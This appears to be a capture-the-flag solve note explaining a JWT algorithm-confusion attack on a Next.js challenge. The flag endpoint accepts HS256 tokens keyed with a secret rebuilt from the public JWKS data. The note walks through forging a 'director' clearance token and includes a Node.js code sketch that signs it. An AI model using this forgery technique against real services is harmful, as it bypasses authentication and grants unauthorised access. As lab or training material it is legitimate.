Note 13-04-2026 02:18 PM

the login gives a normal RS256 token, the JWKS endpoint exposes the public key, and the flag endpoint trusts HS-family tokens if they verify against a JWK-derived secret. I'm drafting the solve path around that flow now.The intended path is a JWT algorithm-confusion attack, not a key theft or brute-force path.

The flow is:

1. A normal login at pages/api/login.js gives you a legitimate RS256 token, but only with level-1 clearance.
2. The public key is exposed through pages/api/.well-known/jwks.js.
3. The flag endpoint in pages/api/flag.js does something dangerous: if the token header says an HS algorithm, it verifies the token with a secret derived from the public key data.
4. Because that public-key-derived JWK string is deterministic and published through JWKS, you can reconstruct the exact HMAC secret locally and sign your own HS256 token with director clearance.

What you forge:

- `sub: "fury"`
- `clearance: "director"`
- `iss: "starkid.stark.tech"`
- `aud: "starkid.stark.tech"`

What you set in the header:

- `alg: "HS256"`

Then send the forged token to `/api/flag` as `Authorization: Bearer <token>`.

A minimal exploit sketch in Node looks like this:

```
const jwt = require("jsonwebtoken");

// Rebuild the exact secret the server uses from the JWKS values.
const secret = JSON.stringify({
  kty: "RSA",
  use: "sig",
  alg: "RS256",
  kid: "starkid-arc-reactor-key-v3",
  n: jwks.keys[0].n,
  e: jwks.keys[0].e,
});

const token = jwt.sign(
  {
```

```
      sub: "fury",
      clearance: "director",
      iss: "starkid.stark.tech",
      aud: "starkid.stark.tech",
    },
    secret,
    { algorithm: "HS256" }
  );
```